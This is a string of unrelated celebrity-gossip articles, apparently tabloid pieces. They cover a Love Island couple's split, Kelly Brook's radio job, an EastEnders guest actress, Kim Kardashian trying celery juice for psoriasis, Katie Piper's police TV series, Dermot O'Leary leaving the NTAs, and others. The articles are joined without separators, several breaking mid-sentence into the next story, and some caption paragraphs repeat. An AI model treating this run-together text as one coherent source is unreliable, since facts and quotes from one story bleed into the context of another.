'For everyone asking if I'm ok, I don't know that I am. But I know that soon I will be. I will be strong and prove to myself that I can get through this. Love always, Zara x.'

Heartbroken: On Monday afternoon, Zara, 23, took to Instagram to confirm news of the split

The exes  who recently returned from a break in Dubai  have taken the ultimate step in cementing their split by unfollowing each other on Instagram.

While Adam has yet to release a public statement on his split, the reputed Lothario hasn't wasted any time getting back onto the social scene.

On Sunday night, he was seen out and about in his native Newcastle, cosying up a mystery brunette, while partying with a group of pals.

The musclebound hunk grinned broadly as he walked into the popular Empress Bar with his pretty companion on his arm.

Last week, Zara took to Instagram to share a defiant snap of herself hand-in-hand with Adam, adding a heart emoji to the picture.

The ending? Things were reportedly uncertain between the pair after a night of wild partying with Instagram model Brittany Archer according to The Sun

Jaw-dropping: A source claimed that Zara was furious to discover Adam had been a raucous night out in Kent with Instagram model Brittany Archer (above)

Things were reportedly uncertain between the pair after a night of wild partying with Instagram model Brittany Archer according to The Sun.

A source told the publication that they were spending time apart following a huge row between the couple, after it was revealed he enjoyed the raucous evening with Brittany in Maidstone last week.

Adam and Zara were one of only two Love Island 2018 couples that are still together  along with Jack Fincham and Dani Dyer  and surprised many fans of the hit reality show with their relative longevity.

Zara was reportedly furious when she heard that Adam was on the night out with Jack and Instagram model Brittany at a hotel in Maidstone earlier this month.

Going the course: They got together on Love Island last summer, with many fans believing they wouldn't go the course, as musclebound Adam became known for his roving eye

Brittany  no stranger to a scantily clad social media snap  boasts 19,000 followers on Instagram, and regularly posts updates around her latest shoots and holidays.

The night out in question was the same time when Adam's Love Island co-star Jack Fincham confessed he had snorted cocaine, and went onto brand it a mistake after 'mixing in the wrong circles.'

Following an argument regarding his evening with Brittany, Adam was said to have travelled back to Newcastle for a break, days before their split was announced.

A source said at the time: 'As a girlfriend it isn't always comfortable to see your partner partying with other women you don't know.

Social media: The pair were featured heavily on each other's Instagram accounts over the past several months, as their romance blossomed and they enjoyed many a lavish getaway

Scary: A source has also claimed that after a furious row Adam recently travelled back to Newcastle for a break from his relationship

'Their fall out has come at a really bad time as they are due to fly to the Maldives next week as part of a lucrative deal.

'They do still love each other and are trying to make their relationship work but things have not been good recently.'

The source added that the pair were trying to show that all was well in their romance by posting loved-up snaps, but their relationship remained at breaking point.

Unfollowed: As of Monday, the exes  who recently returned from a break in Dubai  are still on each other's social media accounts, although they have unfollowed one anotherShe branded her new job at Heart Radio as 'another lifeline' after fading from the public eye recently.

And Kelly Brook, 39, looked happy as she smiled to the cameras when she was spotted on arrival at Global House Radio Studios, in London on Wednesday.

Always on trend in what she wears, the radio personality looked incredible as she slipped her curves into leather pants and platform sandals.

Looking fantastic: Kelly Brook looked chic in a leather cut-offs and a grey coat as beaming star headed into work at Heart Radio, in London on Wednesday

Presenter Kelly fashioned her brunette mane into well-kept bouncy curls and she applied neutral make-up to enhance her good looks.

The Celebrity Juice panelist didn't mind freezing for fashion as she sauntered into work in extremely high platform sandals.

Now Kelly is a regular in Leicester Square as she heads to her new job at Heart Radio to present the drivetime slot.

Commanding presence: The Celebrity Juice panelist didn't mind freezing for fashion as she sauntered into work in extremely high platform sandals

The model's on-air radio job post comes 20 years after she quit her post on The Big Breakfast as the 19-year-old newcomer.

She recently revealed that she has joined London's Heart Radio, to co-host the drive-time show alongside Jason 'JK' King.

Kelly said: 'It's been really lovely because I feel like I have been given another lifeline.'

In preparation for her latest gig, the curvy star got a new lease of confidence by losing weight as she shed as much as 16lbs.

Big news: The model's on-air radio job post comes 20 years after she quit her post on The Big Breakfast as the 19-year-old newcomer

Kelly confessed she used to edit her photographs but now she insisted she doesn't feel the need to photoshop her snaps because she is 'pretty happy' with her weight.

She told HELLO! magazine recently: 'I train three or four times a week, I eat vegan food I am pretty happy with my weight now. I look at pictures and dont think they need any editing, but I did for a bit.

'I think I put the pressure on myself; I looked a certain way for so long and I didnt notice the pounds creeping on  and then all of a sudden, my jeans wouldnt fit.

'I didnt like how I looked, so I just wanted to do something about it.'EastEnders viewers spotted a rather familiar face on Albert Square when a former Coronation Street actress made a surprise appearance on Monday night's episode.

Fans watching the BBC One soap saw Jean Slater (Gillian Wright) pay a visit to the GP amid fears she was going through the menopause, but viewers couldn't help but recognise doctor Elinor Waters from the show's ITV1 rival.

The medic, played by actress Esther Hall, made a guest appearance on Corrie in 2017, where she played the editor of the Weatherfield Gazette, Cindy Watson.

She looks familiar! EastEnders viewers spotted a rather familiar face on Albert Square when a former Coronation Street actress made a surprise appearance on Monday night's episode

Cindy embarked on a sizzling affair with wannabe reporter Daniel Osbourne, who at the time was investigating the Calcutta Street scam.

Esther, 48, has an even more familiar TV appearance under her belt.

Fans will no doubt remember her from charming BT television adverts in which she played Jane, who fell in love with Kris Marshall's character Adam.

Over six years, the couple endured several ups and downs, dealing with many things including moving home, a pregnancy and a break-up.

Spotted: Fans watching the BBC One soap saw Jean Slater (Gillian Wright) pay a visit to the GP, but viewers couldn't help but recognise doctor Elinor Waters from the show's ITV1 rival

Soap favourite: The medic, played by actress Esther Hall, made a guest appearance on Corrie in 2017, where she played the editor of the Weatherfield Gazette, Cindy Watson (pictured)

The fictional couple eventually got married, with the much anticipated advert hitting screens on April 23, 2011.

Esther has also made other cameos as a medic, appearing as Dr. Toni MacPherson in Doctors and as Waking The Dead's Dr. Felix Gibson.

The actress' CV is bulging with other TV credits, including further roles in Queer As Folk, Where The Heart Is, Mount Pleasant, Midsomer Murders and Casualty to name a few.

Recognised: Esther is known for playing Jane in the much-loved BT adverts, with her character embarking on a relationship with Adam, played by Kris Marshall

Wedded bliss: Jane and Adam eventually went on to marry much to fans' delight, with their highly-anticipated wedding airing on April 23, 2011

On Monday night's episode of EastEnders, Jean was given the devastating blow that she could have cancer after the doctor found a lump in her abdomen.

It marks the start of a harrowing new story line for the character, who will eventually be diagnosed with ovarian cancer in the wake of her GP visit.

Gillian Wright, who plays the long-suffering character, said of the plot: 'Im aware of the impact such stories can have.

'Its important that we treat the issue of cancer diagnosis and treatment with huge sensitivity, dignity and respect. I hope the story helps awareness of the disease and is supportive to those affected.'She stunned fans when she shared a lingerie-clad snap on Sunday night.

Yet Millie Mackintosh was rocking a wholly different look just days later as she headed to the gym on Wednesday, while bundled up in a cosy coat.

The 29-year-old Made In Chelsea stunner looked sensational in the huge black coat as she wrapped up against the chill - days after her sexy post.

Hot stuff: Millie Mackintosh was rocking a wholly different look just days later as she headed to the gym on Wednesday, while bundled up in a cosy coat and a warm Charlotte Simone hat

Millie looked sensational as she hit the streets in her warm look, which was working against the frosty chill descending on the capital.

Despite being wrapped up, she still managed to show off her svelte legs in her tight leggings and sporting her comfy trainers.

She contrasted her gym leggings with a furry coat to ensure she was staying warm however kept her ankles on display.

The former reality star also added a warm-looking Charlotte Simone 'Helmet Head' faux fur hat to her look to ensure maximum cosiness.

While covered-up after the exercise session, Millie was wholly more on display on Sunday evening as she showed off her frame in saucy stick-on lingerie.

Woah! She stunned fans when she shared a lingerie-clad snap on Sunday night

Fluffy and fun: The 29-year-old Made In Chelsea stunner looked sensational in the huge black coat as she wrapped up against the chill - days after her sexy post

Millie was left delighted last week when she was back in her husband Hugo Taylor's arms once again after she returned from her Azerbaijan health getaway.

The fitness guru has been driving her fans wild with her picture-perfect social media snaps from her break. Hugo and Millie initially dated in the early series of Made In Chelsea back in 2011, where they had starred on the reality series.

While their relationship didn't work out first time round, Hugo and Millie rekindled their love following her split from ex-husband Professor Green in 2016 - they were granted a divorce the same year.

Legs eleven: Millie looked sensational as she hit the streets in her warm look, which was working against the frosty chill descending on the capital

Wow! She dazzled on the red carpet as she hit the BAFTAs over the weekend

Millie looked sensational as she hit the streets in her warm look, which was working against the frosty chill descending on the capital.

They had wed in an official marriage service held in Chelsea Town Hall, a few days before hosting a lavish celebration.

The couple received a religious blessing, in front of their family and friends at Whithurst Park which is owned by Hugo's uncle - in West Sussex.

The couple announced their engagement in July 2017 following a holiday in Greece, before tying the knot a year later in a romantic Sussex wedding.Lily-Rose Depp took an eye-catching selfie on Tuesday for her 3.2m Instagram followers.

The daughter of 55-year-old actor Johnny Depp and 46-year-old musician Vanessa Paradis went bra-free as she had on a thin light grey top and skimpy matching shorts.

This comes after the Chanel model landed her eighth Vogue cover - she has already done the editions for England, Japan, Korea (twice), China, France and Russia. Her latest is for Vogue Australia.

She's got the look: Lily-Rose Depp took an eye-catching selfie on Tuesday for her 3.2m Instagram followers

A closer look: In the Instagram, Lily-Rose wears her hair down over her shoulders and has on dramatic nude and light pink makeup

In the Instagram, Lily-Rose wears her hair down over her shoulders and has on dramatic nude and light pink makeup.

The outfit looks like something one would wear at home only and not on the streets as it didn't hide a lot.

She was standing by her front door as she looked into the mirror.

Depp has been doing very well with her modeling career.

She's still a teenager but has already landed her ninth Vogue cover. For the February 2019 cover of Vogue Australia she had on a black top and skirt with a beige summer hat as she leaned on the scaffolding of a brick building.

The cover called her a 'model, actress & ingenue on the rise.'

In the magazine, Lily-Rose spoke candidly about having to prove herself in the public eye. 'I've always been under the impression that I have to work twice as hard to prove to people that I'm not just here because it's easy for me,' she said.

Glam slam: This comes after the Chanel model landed her eighth Vogue cover - she has already done the editions for England, Japan, Korea (twice), China, France and Russia. Her latest is for Vogue Australia

'If you're not right for something, they're not just going to hire you because your name looks good on the post,' she added.

She is set to appear in her sixth motion picture venture later this year with Netflix's The King, which also features her rumored beau Timothee Chalamet as well as Robert Pattinson.

The pair first sparked romance rumors back in early October when the couple were spotted putting on a cuddly display around New York.

Later in the month, Lily and Timothee, who act as a couple in The King, seemed to confirm their relationship over a series of PDA-packed outings.

As well as a budding career in acting, Paris-born Lily is a successful model and first joined Chanel in 2014 where she starred in a number of campaigns for its fragrance line as well as striding down the catwalk for the brand.

The beauty was last seen in New York City on Monday morning. She flaunted her long legs in a short white mini skirt as she wrapped up in a leather jacket.

Bundled up: Depp was keen on keeping things casual as she stepped out on a shopping adventure in New York on Monday morning

Despite the chilly weather, Lily-Rose rocked a white mini skirt paired with black hose and brown leather boots.

Her city-chic ensemble was complete with a heavy leather coat cinched around her waist, with a brown leather monogrammed Louis Vuitton bag worn on her wrist.

Depp kept her light brown hair slicked back into a tight bun and wore a pair of small-framed Chanel sunglasses.

She carried a brown paper Love Adorned bag in one hand, with earbuds positioned in her ears.He's the former reality TV hunk who made his debut on Neighbours as Pierce Greyson - a handsome and wealthy investor - on October 5 last year.

And Tim Robards has successfully turned his guest stint on the popular soap into a permanent role.

'I'm so excited,' the budding actor, 36, gushed while speaking to The Daily Telegraph on Thursday.

Scroll down for video

'I'm so excited': The Bachelor star Tim Robards lands permanent role on Neighbours... after a guest stint on the iconic Australian soap

'It means I didn't totally crash and burn my first major acting role,' he added.

'When I first started on set [it was] like the first few seconds of jumping out of a plane - you forget to breathe while everything is coming at you 100 miles an hour.'

The role comes after a psychic told Tim, who always dreamed of a career in acting, that he's destined to become a Hollywood star.

'It means I didn't totally crash and burn my first major acting role,' he told The Daily Telegraph on Thursday

'It's really something I've always wanted to do but I've never had the guts to give it a proper go,' he admitted during an interview with Today Extra in October, 2018.

After a few people urged him to see a psychic, Tim explained he was 'open to any little messages'.

'First thing they said when I went in there was like, "right you're gonna be acting. Just go right, make it happen, commit to it." And that's sort of how it came about!'

Tim rose to fame after appearing on the first season of The Bachelor in 2013.

In love with the new gig! Tim previously said he would be interested in spending more time on the long running soap. Pictured as Pierce Greyson with Chloe Brennan, played by April Rose Pengilly

More than 1.2 million people watched the Network Ten finale, which saw Tim declare his love for his now-wife Anna Heinrich on the clifftop of a Thai resort.

Tim and Anna moved in together in mid-2014, and are now based in the Sydney beachside suburb of Bondi.

While filming his guest stint on Neighbours, the couple temporarily lived apart as Tim travelled to Melbourne to film scenes.

Chasing dreams: While filming his guest stint on Neighbours, Tim and wife Anna Heinrich (R) temporarily lived apart as Tim travelled to Melbourne to film scenes

Tim and Anna spent even more time apart, with the handsome chiropractor fleeing to Hollywood in October last year to chase his dreams of stardom.

It was revealed by NW at the time that Tim was headed to Tinseltown in an attempt to crack the big time.

The lothario said he is heading to Los Angeles to get as much work in as possible, starting with shooting a short film.She recently celebrated her one year anniversary with wife Emma Portner.

And Ellen Page couldn't resist gushing about the 'love of her life' in a candid new interview with BALANCE, where she championed being 'a married lesbian couple in a world that doesnt have enough LGBTQ+ representation.'

The Canadian actress, 31, continued to detail her quest for representation in the community, and drawing from her own experience, confessed: 'I dont think the importance of seeing yourself reflected can be undervalued.'

Candid: Ellen Page gushed about her wife Emma Portner and championed being 'a married lesbian couple in a world that doesnt have enough LGBTQ+ representation'

Ellen tied the knot with professional dancer Emma at the beginning on 2018 after they began dating during the summer of 2017.

And continuing to detail the extent of her feelings for her other half, the Juno actress enthused: 'I guess it just feels really grounding and really beautiful. Absolutely Ive been in love before, and this was definitely a very different new kind and new form, clearly.'

Ellen came out as gay in 2014 at a Human Rights Campaign event with a rousing speech which earned her a standing ovation.

After five years of living authentically, Ellen has admitted that she is still in the process of 'feeling comfortable in her body' - however, noted that the 'difference she felt in coming out..., you'd have to feel it to believe it.'

'Importance in seeing yourself reflected': The Canadian actress, 31, continued to detail her quest for representation in the community, as she drew from her own experience

'Groundbreaking and beautiful love': Ellen tied the knot with professional dancer Emma at the beginning on 2018 after they began dating during the summer of 2017

Ellen is now determined to fight for LGBTQ+ rights and awareness and recently blasted Chris Pratt for his connections to what she called an anti-LGBTQ church.

The Hard Candy star revealed: 'I think its more just the natural movement of things to want to use the platform to help others who deal with much worse than what I had to deal with. We have to figure out a way to help, give visibility to those who are most marginalised in our society.'

Meanwhile, in 2007 Ellen alleged that director Brett Ratner outed her as a lesbian and said degrading things about women such as commenting that a woman on set of X-Men: The Last Stand had a 'flappy p****'.

Authentic: Ellen came out as gay in 2014 at a Human Rights Campaign event with a rousing speech which earned her a standing ovation

Journey: After five years of living authentically, Ellen has admitted that she is still in the process of 'feeling comfortable in her body'

Page also said she has been fondled by a director and sexually assaulted by a crew member- both when she was 16-years-old.

The actress called Ratner's comments 'homophobic,' and she says the feelings of shame lingered.

Speaking in a lengthy statement on Facebook, Ellen revealed: 'This public, aggressive outing left me with long standing feelings of shame, one of the most destructive results of homophobia.'Channel Nine journalist Leila McKinnon revealed her daughter Gwendolen, four, was rushed to a hospital emergency room on Sunday.

After the youngster displayed 'feverish' symptoms, the 46-year-old mother contacted a 24 hour ambulance service.

Taking to Instagram, Leila shared a picture of her daughter looking cheerful in a hospital bed after recovering, penning an emotional caption.

'We are so lucky': Channel Nine's Leila McKinnon's daughter Gwendolen was rushed to a hospital emergency room after a health scare on Sunday

'In Australia we are so lucky to have access to the free 24 hour a day hotline Health Direct on 1800 022 222,' she began.

Leila continued: 'I called it Sunday when my little Miss GG was feverish and struggling, not sure whether I should take her to hospital.

'They went through the symptoms and put me through to @nswambulance who came straight away and said she ought to go to hospital.

'My little Miss GG was feverish and struggling... They went through the symptoms and put me through to @nswambulance who came straight away and said she ought to go to hospital,' she wrote in the caption. Pictured in another Instagram post

'Thanks to the paramedics and the amazing doctors and nurses (especially Dennis) she's back on top and bossing us all around. Don't hesitate to call Health Direct, they are AMAZING.'

Leila shares daughter Gwendolen and son Edmund with her husband and former Channel Nine CEO David Gyngell, 52.

Meanwhile, the family recently left behind the hustle and bustle of Sydney, deciding to relocate to northern New South Wales.

Move: It comes after Leila and her family left behind the hustle and bustle of Sydney, deciding to relocate to northern New South Wales

In an interview with 9Honey in September last year, Leila said they were in search of a 'sea change.'

'My career has always been so important to me and I didn't know if it would work out or not and I thought I'd take a gamble, maybe do freelance stuff, and so far it's been quite good,' she told the publication.

'When I go back [to Sydney] now, I really do notice the traffic, how awful it is,' she added.

'Everything is easier here, wherever you want to go, you can drive there and get a park right outside - everything is much more simple.'She has been very candid about her battle with the the skin condition, which causes red and flaky patches.

And Kim Kardashian has revealed that she's started drinking celery juice every morning in a bid to help her psoriasis.

During the interview with Extras Renee Bargh, the businesswoman, 38, also shared details about her plans to welcome her fourth child with husband Kanye West via surrogate.

Healthy: Kim Kardashian has revealed that she's started drinking celery juice every morning in a bid to help her psoriasis

Talking about her psoriasis, Kim, who was joined by her personal makeup artist Mario Dedivanovic, credited 'Medical Medium' Anthony William for helping her combat the skin condition.

Speaking about how her make-up routine has had to change, she said: 'I have psoriasis all over my face, so it is a challenge. We [her and Mario] never had that before.'

'Yeah, I just started, so I dont know yet,' she continued talking about her daily celery juice drinking regime. 'But I know that my psoriasis is really bad, but people have been saying that when you start it comes out and then it clears up.'

Kim has been candid on Instagram as she shares her psoriasis battle, sharing a selfie earlier this week with her face covered in a herbal ointment, she joked: 'Psoriasis is the sh**s!'

Candid: During the interview with Extras Renee Bargh, the businesswoman, 38, also shared details about her plans to welcome her fourth child with husband Kanye West via surrogate

Raising awareness: Talking about her psoriasis, Kim credited 'Medical Medium' Anthony William for helping her combat the skin condition

Meanwhile, in January, the reality royalty confirmed that she and her rapper husband Kanye were expecting a fourth child via surrogate following weeks of rumours.

During an appearance on Watch What Happens Live With Andy Cohen, the Instagram sensation revealed that the family's newest addition was a boy and was due 'sometime soon'.

The new baby joins daughter Chicago, who was born last January via surrogate, daughter North, five, and their first son, three-year-old Saint.

And Kim told Extra that she plans to make sleep a priority and go to bed 'really early' ahead of their fourth child.

Herbal remedies: 'Yeah, I just started, so I dont know yet,' she continued talking about her daily celery juice drinking regime. 'But I know that my psoriasis is really bad!'

Sweet: In January, the reality royalty confirmed that she and her rapper husband Kanye were expecting a fourth child via surrogate following weeks of rumours (pictured in December)

she said: 'I do sleep, that's my thing. When I'm putting the kids to bed, half the time I fall asleep with them. I get up an hour later and then go downstairs. I make it my mission to be really focused. I go to bed really early.'

She added: 'I wake up at 5:45 every day, work out, get the kids ready for school, school drop off, come home, work all day  same routine over again.' You can watch the full interview on Extra.

Kim's candid interview comes after she discussed her former pregnancy woes on Tuesday as she chatted during one of her beauty masterclasses with her long-time make-up artist and now collaborator Mario in Los Angeles.

The Keeping Up With The Kardashians star, 38, was joking about her keys to a smooth complexion, as she warned fans to 'never smile' shortly before making things more serious as she admitted her pregnancy weight gain knocked her confidence.

Family of four: The new baby joins daughter Chicago, who was born last January via surrogate, daughter North, five, and their first son, three-year-old Saint

Woah: Kim's candid interview comes after she discussed her former pregnancy woes on Tuesday (pictured in November)

Kim, who is married to Kanye West, is mother to North, five, Saint, three, and 13-month-old Chicago, and expecting a fourth child via surrogate.

The star battled preeclampsia during her first two pregnancies, so used a surrogate for Chicago and their new arrival on the advice of doctors.

When asked about her tricks to the perfect skin, Kim tickled fans as she said: 'Don't smile. Before I was always smiling, and so into being out and about'.

She then explained that when she was trolled during her pregnancy for her swollen face, her confidence was knocked so she changed.

Way back when: The 38-year-old Keeping Up With The Kardashians star admitted her pregnancy weight gain knocked her confidence (pictured while expecting Saint in 2016)

Kim admitted the abuse she was faced with meant she stopped smiling: 'After I had [North], I was like, "These are the same people that made fun of me", and were so awful, calling me fat for something I couldnt control...

'Even if I was more confident, I just didnt feel like being that girl who was going to be smiling for every photo. It changed my mood; it changed who I was; it changed my personality a lot.'

While some construed her smiling joke as serious, she took to Twitter to hit back leading to Kim writing: 'OMG should we never make jokes again during our Masterclass'.

Again proving her sense of humour, on Tuesday she discussed her struggles to get rid of a red rash on her face and body, as she joked around while sharing a selfie on Monday that showed her face smeared in brown goop.

'Psoriasis is the sh**s!' she said in her caption. Kim was quick to clarify that the brown smudges were only a 'herbal ointment.'Channel 4 show Famous And Fighting Crime sees a host of celebrities go undercover as special constables, responding to 999 calls and street crime.

And Katie Piper has revealed the experience of working night shifts in the force was 'full on' and 'traumatic', giving her a newfound respect for the police and the work they do.

The 35-year-old star also recalled the memorable moment when fellow star Penny Lancaster break down after she was threatened with a dirty needle.

Traumatic: Katie Piper discussed the experience of working night shifts in the force while filming Famous And Fighting Crime on Wednesday's edition of This Morning

Appearing on Wednesday's edition of This Morning, Katie said of the experience: 'It was full on, I did all the night shifts - 3pm to 7am.

'The training was worse than the police work you undertook, so you're prepared for the worst. What they go through, the abuse they take on, and the specials don't even get paid!

'They do a normal job in the day and then they work through the night for free. It's traumatic, it's aggressive and and it's violent.'

Recalling the most memorable things that happened during filming, she touched upon poor Penny's meltdown.

Emotional: The 35-year-old star also recalled the memorable incident which saw her fellow star Penny Lancaster break down after she was threatened with a dirty needle

On the ground: Working tough night shifts has given her a newfound respect for the police force and the work they do

She said: 'She was threatened with a needle. A drug user had a dirty needle and threatened to stab her. She kept running!'

Penny, 47, was chasing two suspects down the street when one shockingly threatened the unarmed star with a drug needle.

'F**k off man, or Ill stab you with a dirty f**king needle', one of the women said.

She handled the situation with confidence, telling them that she would stab them back if they stabbed her.

Chic: Katie looked lovely in navy for her TV appearance, chatting to Phillip Schofield and Rochelle Humes about the programme

Eye-opening: Katie hopes the show, which also features Made In Chelsea's Jamie Laing, will open people's eyes to what the police actually do

Speaking to camera afterwards, Rod Stewart's wife broke down as she said, 'I didnt like that. I was absolutely terrified.'

Katie hopes the show, which also features Made In Chelsea's Jamie Laing, will open people's eyes to what the police actually do.

'It's really hard in the current climate, everyone blames the police, but actually, they are as angry at the public.

Elegant: The TV personality looked lovely in a navy wool coat and coordinating trousers

Beaming: The star was in high spirits after her interview, leaving the ITV studios on London's South Bank

Smart: Katie pulled her look together with a pair of beige nude stilettos

'Hopefully you'll see this in the programme, the red tape and restrictions they go through', she said.

Monday night's debut episode saw Katie join the ranks of Cambridge Constabulary, attending crimes across the county with a team of serving officers.

In one dramatic moment Katie helped talk down an ex-soldier with PTSD who was threatening to shoot himself.

The mother-of-two revealed she used her own experience with PTSD to relate to the man in distress.

Emotional: Katie helps saves a veteran's life after he threatens to kill himself while suffering from PTSD (pictured with a member of Cambridgeshire Constabulary)

Brave: The episode also saw brave Katie running into a burning building to check whether there is anyone inside

'We were there as one human to another, to listen and give him time, which is such a valuable currency', she said.

Katie was diagnosed with PTSD after her acid attack ordeal in 2008, and said that this experience ultimately led her to being as calm as possible in the situation.

'Mine [PTSD] was so bad in the beginning it made feel like if anyone came close to me they might do something to me  they could kill me,' she says. 'It makes you feel under threat.'

The episode also saw brave Katie running into a burning building to check whether there is anyone inside.

She explained the incident pushed her out of her comfort zone but was the right thing to do.Dermot O'Leary has quit as NTAs host following 10 years of duty, after saying he 'would throw in the towel' if Ant and Dec won a controversial 18th gong last month.

The duo had playfully wished him a 'happy retirement' after accepting their Best Presenters award despite Ant not working for a year, amid his personal problems.

In a statement, Dermot wrote: 'After 10 years of proudly hosting the National Television Awards, I have decided its time to step down as host. Its been a tough decision because we have had a ball over the last decade, but 10 years feels about right.

Shocker: Dermot O'Leary has quit as NTAs host following 10 years of duty, after saying he 'would throw in the towel' if Ant and Dec won a controversial 18th gong last month

'I would like to thank Indigo and my ITV family for a brilliant ten years and look forward to proudly passing on the baton in 2020...and a holiday in January!'

His announcement was soon met with lament from fans and colleagues, as Davina McCall simply wrote: 'Nooooooooooooooooooooooooooooo'.

Other heartbroken fans wrote: 'Nooo, itll be soo weird to watch without you you have been brilliant. i wonder who will take over...

'Oh no! Youre the only reason we watch it! Good decision though, now onto bigger, better and more exciting things... Awwwww Gong to really miss you as host. Youre fab Dermot! Enjoy your January holidays.'

Oops! The duo had playfully wished him a 'happy retirement' after accepting their Best Presenters award despite Ant not working for a year, amid his personal problems

Oh no! His announcement was soon met with lament from fans and colleagues, as Davina McCall simply wrote: 'Nooooooooooooooooooooooooooooo'

In an official statement from ITV, spokespeople wrote: 'ITV and Indigo Television thank Dermot for a decade at the helm of the National Television Awards, he's a brilliant presenter and one of the best live event hosts in the business...

'As a highly valued member of the ITV family we respect his decision and we look forward to continuing working with him.'

As well as his comment aimed at Ant and Dec, during last month's star-studded yet gaffe-laden NTAs, Dermot also made a dig at fellow presenter Holly Willoughby

The host, who could frequently be heard talking to guests off-mic during awards announcements at the annual event, referenced Willoughbys increasing popularity as the live show commenced at Londons O2 Arena.

Seeing the funny side: Dermot also took a playful dig at fellow presenter Holly Willoughby on a night littered with on-air blunders at the NTAs

Taking to the stage at the time after a short Bodyguard inspired skit with actor Richard Madden, OLeary quipped the event was one of the few shows on ITV not hosted by Holly Willoughby.'

Cutting to the audience, the This Morning presenter  whose portfolio also includes Surprise Surprise, Dancing On Ice and a recent successful stint on Im A Celebrity Get Me Out Of Here!  looked mildly surprised, but quickly regained her composure.

The gag pre-empted a catalogue of live gaffes, blunders and foul mouthed faux pas on the night, amongst them OLearys clumsy introduction of backstage correspondents Dani Dyer and Jack Fincham.

The usually-assured host appeared to be unaware that they were sitting in the audience as he welcomed the Love Island winners from 'somewhere backstage,' not realising that he was introducing pre-recorded footage.

The viewing public appeared to as bemused as those in attendance, with one tweeting: 'When dermot tells us jack and dani are backstage but we see them in the audience #NTAs.'

While another added: 'Somewhere backstage? Theyre.. seating..down..like theyve just shown. #NTAs.'

Commenting on the gaffe, a third wrote: 'Dani & Jack are in the audience, Dermot. They aren't doing anything backstage.'

Recurring theme: The gag pre-empted a catalogue of live gaffes, blunders and foul mouthed faux pas on the night, amongst them OLearys clumsy introduction of backstage correspondents Dani Dyer and Jack Fincham

We're over here! The usually assured appeared to be unaware that they were sitting in the audience as he welcomed the Love Island winners from 'somewhere backstage,' not realising that he was introducing pre-recorded footage

Confusing: The viewing public appeared to as bemused as those in attendance while watching the ceremony on Tuesday evening

The blunders continued as Danny Dyer picked up the award for Best Serial Drama Performance, and the actor struggled to hold back tears during his emotional speech, while also dropping an awkward f-bomb.

He raved: 'I can't believe that wow! Thank you! I want to thank all my EastEnders mob over there you're like my brothers and sisters...

'I just want to say to all you young kids living out there in poverty who don't think they've got a right to dream or hope, do not let that define where you're going in life, you can whoever you want to be.

'I want to dedicate this award to Harold Pinter, he believed in me when no one else did.'

Here we go: The blunders continued as Danny Dyer picked up the award for Best Serial Drama Performance, and the actor struggled to hold back tears during his emotional speech, while also dropping an awkward f-bomb

Struggling to hold back tears the soap star added: 'I'm getting f****** emotional now,' to the shock of the crowd, and then walked off-stage.

There was further confusion as This Morning won Best Daytime, with O'Leary heard talking off-camera before Willoughby accepted the award with co-host Phillip Schofield.

Viewers could still hear the presenter as he chatted to Old Peoples Home for 4 Year Olds star Lily, four - onstage to hand over the award with co-star Ken, 87 - as the nominations were announced.

Gaffe: Danny DeVito, on-hand to present the award for Drama Performance to Richard Madden, wasn't spared the curse of the errant mic as he took to the stage

'We've got to show clips of all the shows,' he could be heard telling her. 'And then when we come back you can go "right, let's do it now!"'

Danny DeVito, on-hand to present the award for Drama Performance to Richard Madden, was also not spared the curse of the errant mic as he took to the stage.

His perplexed voice could be heard as the nominations VT aired, with the Hollywood legend sounding confused as he asked a producer: 'Oh you want me to say the names? They asked me not to say the names.'

In what was perhaps a shock to some, Ant McPartlin and Declan Donnelly won the Best Presenters category - a prize they have taken home every year since 2001.

The pair, however, have spent the majority of the past 12 months apart professionally, thanks to Ant's recovery from alcohol and substance abuse issues.

Dec continued his work on Ant & Dec's Saturday Night Takeaway, Britain's Got Talent and I'm A Celebrity... Get Me Out Of Here! without Ant - yet they are up for an award as a twosome. Ant has returned to these shows in 2019 however.She's taken on the role of United States Supreme Court Justice Ruth Bader Ginsburg in new movie On The Basis Of Sex.

And Felicity Jones revealed her rather 'crazy ritual' of getting into character as she made a glamorous appearance at the BBC Radio 2 studios in central London on Wednesday morning.

The actress, 35, looked effortlessly chic, wrapping up in an elegant white full-length coat as she told Breakfast Show host Zoe Ball she likes to literally walk around in her alter-ego's shoes before shooting a movie.

Walking in their shoes: Felicity Jones revealed her rather 'crazy ritual' of getting into character as she appeared on BBC Radio 2 in central London on Wednesday morning

As Zoe questioned whether Felicity actually wore her character's actual shoes, the star clarified: 'I have all sorts of weird idiosyncrasies and slightly crazy rituals.

'The thing is, I basically get really nervous and so I think of all these things that might make that day a little bit more bearable because it is quite intimidating the first day when you walk onto set.

'So I've just developed all these weird quirks along the way and one of them is wearing the shoes that you're gonna be wearing for the shoot, so you get used to feeling them... so it doesn't feel completely strange the first day you get to work.'

However, walking in her character's shoes wasn't the only thing Felicity did to really nail the role of Ruth.

Perfecting the role: Felicity (pictured as Ruth with Justin Theroux playing Melvin Wulf) revealed she prepared for the role by only speaking in a Boston accent

She also confessed to only speaking in a heavy Boston accent in preparation for the part, in particularly because Ruth herself had a big involvement in the script as her nephew - Daniel Stiepleman - wrote the screenplay.

Speaking of Ruth, Felicity explained: 'She has a very distinct dry sense of humour which really comes out in the film and she has captured that and they have been on board from the beginning and Ruth has seen all the drafts, like the good lawyer that she is and she gave meticulous notes throughout the process of developing the script.'

'I was a crazy person,' she joked of her insistence to speak in the American drawl. 'They were thinking who is this Brit who has come along with her Brooklyn accent all day.

'I definitely challenged in many ways being an outsider, I was a Brit going in to that situation, and like Ruth herself, she was an outsider consistently, trying to enter a world that was very male dominated. So really had to push against that to prove herself. I channelled that in the way I played her and focused on her drive.'

Talented: The actress, 35, looked chic in an elegant white full-length coat as she told Breakfast Show host Zoe Ball she likes to literally walk around in her alter-ego's shoes before shooting

Latest part: She's taken on the role of United States Supreme Court Justice Ruth Bader Ginsburg in new movie On The Basis Of Sex

Felicity appeared on the show to discuss her new film On The Basis Of Sex in which she plays struggling attorney Ruth Bader Ginsburg, who battled against adversity to fight for equal rights.

The talented actress oozed sophistication in a low-key ensemble for her radio appearance, teaming her stylish coat with a cream chunky knit sweater and cut-off high-waist jeans.

The Theory Of Everything star teamed her ensemble with a pair of black and white patterned heels and delicate silver jewellery.

Felicity opted for natural hair and make-up to accentuate her pretty, English rose features for her day of promotional appearances.

The star previously spoke of her nerves when judge Ruth Bader Ginsburg paid a visit to the set to film a cameo.

Chic: Felicity teamed her coat with a cream chunky knit sweater and cut-off high-waist jeans

Style icon: The Theory Of Everything star teamed her ensemble with a pair of black and white patterned heels and delicate silver jewellery

